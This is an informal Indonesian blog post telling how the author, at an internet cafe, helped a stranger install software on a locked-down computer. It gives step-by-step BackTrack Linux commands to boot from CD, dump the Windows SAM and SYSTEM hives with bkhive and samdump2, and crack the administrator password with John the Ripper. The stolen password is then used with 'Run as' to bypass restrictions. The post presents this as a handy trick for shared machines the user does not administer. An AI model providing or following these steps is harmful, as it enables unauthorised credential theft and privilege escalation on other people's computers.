:.
Saat saya sedang mengerjakan tugas yang diberikan oleh pembimbing saya diwarnet,,,,,
datang seorang pria berbadan besar mendekati saya,,, dalam hati saya degdegan kalaw-kalaw dY memalak saya...
Ternyata egh ternyata dy mendekat hanya untuk menanyakan kepada saya kenapa komputer yang dy pakai tidak bisa menginstal program,,,,
Kebetulan saya sudah punya caranya dan sekalian saya membantu dy,,,
I. Pertama, kita harus mengetahui password administratornya terlebih dahulu,,
disini saya menggunakan Linux Backtrack 2.0 namun yang 3.0/4.0 beta sudah ada
caranya adalah.....
1.Masukkan CD Linux BackTrack dan restart Komputer Anda.
2.Masuk ke bios dan atur booting dari CD-ROM Drive dan save bios dan exit. Setelah restart maka komputer akan menjalan CD Linux BackTrack maka tekan enter dan tunggu beberapa saat
3.Masukkan user login “root” dan password toor
Login : root
Password : toor
Setelah itu, ketikkan “mount” lalu tekan enter dan lihat hardisk mana yang diinstal windows (misal: /mnt/hda1). Untuk mengetahui dimana partisi windows berada ketikkan perintah “ls -l /mnt/nama_hardisk” contoh : ketik
# mount
# ls /mnt/hda1
Jika berhasil maka akan terdapat list direktori WINDOWS.
4.Lalu dengan menggunakan program bkhive kita akan mengopi file “system” yang berada di folder “/mnt/nama_hardisk/WINDOWS/system32/config/” dengan nama “my_syskey”, gunakan perintah “bkhive /mnt/nama_hardisk/WINDOWS/system32/config/system my_syskey”. Contoh :
# bkhive /mnt/hda1/WINDOWS/system32/config/system my_syskey
5.Selanjutnya kita akan menggunakan program samdunk2 untuk membaca file “sam” dan “system” dan menyimpannya ke dalam file “my_hash.txt”. Untuk itu gunakan perintah “samdump2 /mnt/nama_hardisk/WINDOWS/system32/config/sam my_syskey > my_hash.txt”. Contoh:
# samdump2 /mnt/hda1/WINDOWS/system32/config/sam my_syskey > my_hash.txt
6.Sekarang saatnya membaca file “my_hash.txt”, mula-mula gunakan perintah “cat my_hash.txt”
# cat my_hash.txt
Lalu Kita akan melihat user dengan password yang terencripsi. Untuk mendeskrip-sinya kita memerlukan program john yang terdapat pd folder “/pentest/password/john-1.7.2/ run” untuk itu gunakan perintah :
# /pentest/password/john-1.7.2/run/john my_hash.txt
tunggu beberapa saat, maka user dan password windows akan tampak. Catat user dan passwordnya dan restart komputer Anda dengan menggunakan perintah :
# shutdown -r now
II. Setelah tahu password dan usernya, kita login ke user yang di limited
III. Pilih software yang ingin kita install
IV. Klik kanan file tersebut dan pilih Run as...
V. Lalu pilih opsi The Following User, isi Usernya dengan nama administratornya dan isi Password yang tadi kita dapatkan
VI. Setelah itu, proses penginstalan akan berjalan sama seperti biasanya
